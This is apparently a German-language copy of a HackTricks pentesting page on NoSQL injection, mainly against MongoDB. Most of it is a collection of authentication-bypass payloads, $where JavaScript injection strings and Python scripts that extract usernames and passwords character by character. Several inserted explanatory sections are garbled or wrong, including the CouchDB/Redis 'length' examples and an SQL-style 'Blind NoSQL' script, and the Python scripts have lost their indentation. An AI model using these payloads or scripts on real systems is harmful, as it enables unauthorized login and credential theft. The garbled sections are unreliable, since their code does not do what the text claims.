hacktricks/pentesting-web/nosql-injection.md
2024-02-10 15:36:32 +00:00

24 KiB

NoSQL-Injection

Verwenden Sie Trickest, um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden. Erhalten Sie noch heute Zugriff:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Ausnutzung

In PHP können Sie ein Array senden, indem Sie den gesendeten Parameter von parameter=foo in parameter[arrName]=foo ändern.

Die Exploits basieren darauf, einen Operator hinzuzufügen:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Grundlegende Authentifizierungsumgehung

Verwendung von "nicht gleich" ($ne) oder "größer" ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

NoSQL-Injection

NoSQL-Injection ist eine Art von Angriff, bei dem ein Angreifer schädlichen Code in eine NoSQL-Datenbank einschleust, um unerwünschte Aktionen auszuführen oder Daten zu exfiltrieren. Im Falle von MongoDB können NoSQL-Injection-Angriffe auftreten, wenn die Anwendung unsichere oder unzureichend validierte Eingaben verwendet, um Abfragen an die Datenbank zu senden.

Typen von NoSQL-Injection

Es gibt verschiedene Arten von NoSQL-Injection-Angriffen, die in MongoDB auftreten können:

  • Boolean-Based Injection: Der Angreifer nutzt boolesche Ausdrücke, um Informationen aus der Datenbank abzurufen. Durch die Manipulation von Abfragen kann der Angreifer feststellen, ob eine Bedingung wahr oder falsch ist.

  • Time-Based Injection: Der Angreifer nutzt Verzögerungen in der Datenbankantwort, um Informationen zu extrahieren. Durch die Einführung von Verzögerungen in den Abfragen kann der Angreifer feststellen, ob eine Bedingung erfüllt ist oder nicht.

  • Error-Based Injection: Der Angreifer nutzt Fehlermeldungen der Datenbank, um Informationen zu erhalten. Durch die Manipulation von Abfragen kann der Angreifer Fehler provozieren und dadurch Informationen über die Datenbankstruktur oder sensible Daten erhalten.

Ausnutzen von NoSQL-Injection

Um NoSQL-Injection auszunutzen, muss der Angreifer die Schwachstellen in der Anwendung identifizieren und geeignete Angriffsvektoren verwenden. Hier sind einige gängige Techniken, die verwendet werden können:

  • Einfügen von Operatorzeichen: Der Angreifer kann Operatorzeichen wie $gt, $ne, $regex usw. verwenden, um Abfragen zu manipulieren und unerwünschte Ergebnisse zu erzielen.

  • Einfügen von regulären Ausdrücken: Der Angreifer kann reguläre Ausdrücke verwenden, um Abfragen zu manipulieren und Informationen aus der Datenbank abzurufen.

  • Einfügen von JavaScript-Code: Der Angreifer kann JavaScript-Code in Abfragen einfügen, um unerwünschte Aktionen auszuführen oder Daten zu exfiltrieren.

Schutz vor NoSQL-Injection

Um sich vor NoSQL-Injection-Angriffen zu schützen, sollten folgende Maßnahmen ergriffen werden:

  • Eingabevalidierung: Stellen Sie sicher, dass alle Eingaben ordnungsgemäß validiert werden, um unerwünschte Zeichen oder Ausdrücke zu verhindern.

  • Parameterisierte Abfragen: Verwenden Sie parameterisierte Abfragen, um sicherzustellen, dass Benutzereingaben nicht direkt in Abfragen eingefügt werden.

  • Begrenzung der Berechtigungen: Gewähren Sie der Anwendung nur die minimalen Berechtigungen, die sie zum Ausführen von Abfragen benötigt.

  • Aktualisierung der Datenbank: Halten Sie Ihre Datenbank auf dem neuesten Stand, um von den neuesten Sicherheitsupdates zu profitieren.

  • Sicherheitsbewusstsein: Schulen Sie Entwickler und Administratoren über die Risiken von NoSQL-Injection und die besten Sicherheitspraktiken.

query = { $where: `this.username == '${username}'` }

Ein Angreifer kann dies ausnutzen, indem er Zeichenketten wie admin' || 'a'=='a eingibt, wodurch die Abfrage alle Dokumente zurückgibt, indem die Bedingung mit einer Tautologie ('a'=='a') erfüllt wird. Dies ist analog zu SQL-Injektionsangriffen, bei denen Eingaben wie ' or 1=1-- - verwendet werden, um SQL-Abfragen zu manipulieren. Bei MongoDB können ähnliche Injektionen mit Eingaben wie ' || 1==1//, ' || 1==1%00 oder admin' || 'a'=='a durchgeführt werden.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Extrahieren von Längeninformationen

Um die Länge einer bestimmten Datenbankabfrage zu extrahieren, können Sie die Technik der NoSQL-Injektion verwenden. Diese Methode ermöglicht es Ihnen, die Länge der zurückgegebenen Daten zu ermitteln, indem Sie speziell gestaltete Anfragen senden.

MongoDB

Um die Länge einer MongoDB-Abfrage zu extrahieren, können Sie den $where-Operator verwenden. Hier ist ein Beispiel:

db.collection.find({$where: "this.field.length == 10"})

Dieses Beispiel sucht nach Dokumenten in der angegebenen Sammlung, bei denen das Feld field eine Länge von 10 hat. Wenn die Abfrage erfolgreich ist, erhalten Sie eine Antwort mit den entsprechenden Dokumenten.

CouchDB

In CouchDB können Sie die length()-Funktion verwenden, um die Länge einer Zeichenkette zu ermitteln. Hier ist ein Beispiel:

GET /database/_design/doc/_view/view?startkey="key"&endkey="key"+{}&reduce=false&include_docs=true

In diesem Beispiel wird die length()-Funktion verwendet, um die Länge der Zeichenkette key zu ermitteln. Die Antwort enthält die entsprechenden Dokumente.

Redis

In Redis können Sie die STRLEN-Befehlsfunktion verwenden, um die Länge eines Schlüssels zu ermitteln. Hier ist ein Beispiel:

GET key

Dieses Beispiel ruft den Wert des Schlüssels key ab. Die Antwort enthält die Länge des Werts.

Elasticsearch

In Elasticsearch können Sie die script_fields-Funktion verwenden, um die Länge eines Feldes zu ermitteln. Hier ist ein Beispiel:

GET /index/_search
{
  "script_fields": {
    "field_length": {
      "script": {
        "source": "doc['field'].value.length()"
      }
    }
  }
}

Dieses Beispiel verwendet die script_fields-Funktion, um die Länge des Feldes field zu ermitteln. Die Antwort enthält die entsprechenden Ergebnisse.

Oracle NoSQL

In Oracle NoSQL können Sie die LENGTH()-Funktion verwenden, um die Länge einer Zeichenkette zu ermitteln. Hier ist ein Beispiel:

SELECT LENGTH(column) FROM table WHERE condition;

Dieses Beispiel verwendet die LENGTH()-Funktion, um die Länge der Zeichenkette in der angegebenen Spalte zu ermitteln. Die Antwort enthält die entsprechenden Ergebnisse.

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Extrahieren Sie Informationen über Daten

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

NoSQL-Injection

NoSQL-Injection ist eine Art von Angriff, bei dem ein Angreifer schädlichen Code in eine NoSQL-Datenbank einschleust, um unerwünschte Aktionen auszuführen oder Daten zu exfiltrieren. Im Falle von MongoDB kann NoSQL-Injection auftreten, wenn die Anwendung unsichere Eingaben nicht ordnungsgemäß validiert oder filtert.

Payloads

Die folgenden Payloads können verwendet werden, um NoSQL-Injection-Angriffe gegen MongoDB durchzuführen:

  • $ne: Wird verwendet, um eine Bedingung zu überprüfen, die nicht erfüllt sein sollte.
  • $gt: Wird verwendet, um eine Bedingung zu überprüfen, die größer als ein bestimmter Wert sein sollte.
  • $gte: Wird verwendet, um eine Bedingung zu überprüfen, die größer oder gleich einem bestimmten Wert sein sollte.
  • $lt: Wird verwendet, um eine Bedingung zu überprüfen, die kleiner als ein bestimmter Wert sein sollte.
  • $lte: Wird verwendet, um eine Bedingung zu überprüfen, die kleiner oder gleich einem bestimmten Wert sein sollte.
  • $in: Wird verwendet, um eine Bedingung zu überprüfen, die in einer bestimmten Liste von Werten enthalten sein sollte.
  • $nin: Wird verwendet, um eine Bedingung zu überprüfen, die nicht in einer bestimmten Liste von Werten enthalten sein sollte.

Beispiel

Angenommen, wir haben eine Anwendung, die Benutzern erlaubt, sich anzumelden und ihre E-Mails abzurufen. Die Anwendung verwendet MongoDB als Datenbank. Der folgende Code zeigt, wie die Anwendung die Benutzeranmeldung überprüft:

const username = req.body.username;
const password = req.body.password;

const user = await User.findOne({ username: username, password: password });

if (user) {
  // Benutzer erfolgreich angemeldet
  res.send('Erfolgreich angemeldet');
} else {
  // Ungültige Anmeldeinformationen
  res.send('Ungültige Anmeldeinformationen');
}

In diesem Beispiel wird die findOne-Methode von MongoDB verwendet, um den Benutzer anhand des Benutzernamens und des Passworts zu suchen. Wenn ein Benutzer gefunden wird, wird er als gültig angesehen und die Anmeldung wird als erfolgreich betrachtet.

Ein Angreifer kann jedoch versuchen, NoSQL-Injection auszunutzen, indem er speziell gestaltete Eingaben verwendet. Angenommen, der Angreifer gibt als Benutzernamen admin ein und als Passwort { $ne: null }. Der Code würde dann wie folgt aussehen:

const username = 'admin';
const password = { $ne: null };

const user = await User.findOne({ username: username, password: password });

if (user) {
  // Benutzer erfolgreich angemeldet
  res.send('Erfolgreich angemeldet');
} else {
  // Ungültige Anmeldeinformationen
  res.send('Ungültige Anmeldeinformationen');
}

Da $ne in MongoDB verwendet wird, um eine Bedingung zu überprüfen, die nicht erfüllt sein sollte, würde der Angreifer in diesem Fall alle Benutzer zurückgeben, da das Passwort immer ungleich null ist. Der Angreifer könnte dann auf die E-Mails aller Benutzer zugreifen, anstatt nur auf seine eigenen.

Gegenmaßnahmen

Um NoSQL-Injection-Angriffe zu verhindern, sollten folgende Maßnahmen ergriffen werden:

  • Eingabevalidierung: Stellen Sie sicher, dass alle Benutzereingaben ordnungsgemäß validiert und gefiltert werden, um schädlichen Code zu verhindern.
  • Parameterisierte Abfragen: Verwenden Sie parameterisierte Abfragen, um sicherzustellen, dass Benutzereingaben nicht direkt in Abfragen eingefügt werden.
  • Least Privilege: Verwenden Sie Datenbankbenutzer mit den geringsten erforderlichen Berechtigungen, um das Risiko von Datenlecks zu minimieren.
  • Aktualisieren Sie Ihre Bibliotheken: Halten Sie Ihre verwendeten Bibliotheken auf dem neuesten Stand, um von den neuesten Sicherheitsupdates zu profitieren.

Zusammenfassung

NoSQL-Injection ist eine ernsthafte Sicherheitslücke, die in MongoDB-Anwendungen auftreten kann. Durch unsichere Eingabevalidierung und fehlende Filterung können Angreifer schädlichen Code in die Datenbank einschleusen und unerwünschte Aktionen ausführen. Es ist wichtig, geeignete Gegenmaßnahmen zu ergreifen, um NoSQL-Injection-Angriffe zu verhindern und die Sicherheit der Anwendung zu gewährleisten.

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Beliebige Funktionsausführung

Mit dem $func Operator der MongoLite Bibliothek (standardmäßig verwendet) ist es möglicherweise möglich, eine beliebige Funktion auszuführen, wie in diesem Bericht beschrieben.

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Informationen aus verschiedenen Sammlungen abrufen

Es ist möglich, $lookup zu verwenden, um Informationen aus einer anderen Sammlung abzurufen. Im folgenden Beispiel lesen wir aus einer anderen Sammlung namens users und erhalten die Ergebnisse aller Einträge, bei denen das Passwort mit einem Platzhalter übereinstimmt.

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]

Verwenden Sie Trickest, um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden. Erhalten Sie noch heute Zugriff:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

MongoDB-Payloads

Liste hier

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blind NoSQL-Skript

Ein Blind NoSQL-Skript ist ein Angriffsskript, das verwendet wird, um NoSQL-Injektionen in einer Anwendung zu identifizieren. Bei einer Blind NoSQL-Injektion wird versucht, Informationen aus der Datenbank zu extrahieren, indem Anfragen mit speziell konstruierten Parametern gesendet werden.

Funktionsweise

Das Blind NoSQL-Skript basiert auf der Annahme, dass die Anwendung unterschiedliche Verhaltensweisen zeigt, je nachdem, ob eine Anfrage erfolgreich ist oder nicht. Durch systematisches Ausprobieren verschiedener Parameterwerte kann der Angreifer schrittweise Informationen über die Datenbank extrahieren.

Das Skript sendet Anfragen mit verschiedenen Werten für den zu injizierenden Parameter und analysiert die Antwort der Anwendung. Anhand der Antwort kann der Angreifer Rückschlüsse auf den internen Zustand der Datenbank ziehen.

Beispiel

Ein Beispiel für ein Blind NoSQL-Skript könnte wie folgt aussehen:

const request = require('request');

function makeRequest(payload) {
  return new Promise((resolve, reject) => {
    request.post('https://example.com/login', { form: { username: payload } }, (error, response, body) => {
      if (error) {
        reject(error);
      } else {
        resolve(body);
      }
    });
  });
}

async function blindNoSQLInjection() {
  let extractedData = '';
  const characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

  for (let i = 0; i < 20; i++) {
    for (let j = 0; j < characters.length; j++) {
      const payload = `admin' AND SUBSTRING(password, ${i + 1}, 1) = '${characters[j]}' -- `;
      const response = await makeRequest(payload);

      if (response.includes('Welcome back, admin')) {
        extractedData += characters[j];
        break;
      }
    }
  }

  console.log(`Extracted data: ${extractedData}`);
}

blindNoSQLInjection();

In diesem Beispiel wird versucht, das Passwort eines Administrators aus der Datenbank zu extrahieren. Das Skript sendet Anfragen mit verschiedenen Zeichenwerten für jedes Zeichen des Passworts und überprüft die Antwort der Anwendung. Wenn die Antwort darauf hinweist, dass das Zeichen korrekt ist, wird es dem extrahierten Datenstring hinzugefügt.

Schutzmaßnahmen

Um sich vor Blind NoSQL-Injektionen zu schützen, sollten Entwickler sicherstellen, dass alle Benutzereingaben ordnungsgemäß validiert und bereinigt werden, bevor sie in Datenbankabfragen verwendet werden. Es ist auch ratsam, die Verwendung von NoSQL-Datenbanken mit eingebauten Schutzmechanismen zu erwägen, die automatisch potenzielle Injektionen erkennen und blockieren können.

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Brute-Force-Anmeldung von Benutzernamen und Passwörtern über POST-Anmeldung

Dies ist ein einfaches Skript, das Sie anpassen könnten, aber die zuvor genannten Tools können diese Aufgabe ebenfalls erledigen.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

Werkzeuge

Referenzen

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:


Verwenden Sie Trickest, um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Erhalten Sie noch heute Zugang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}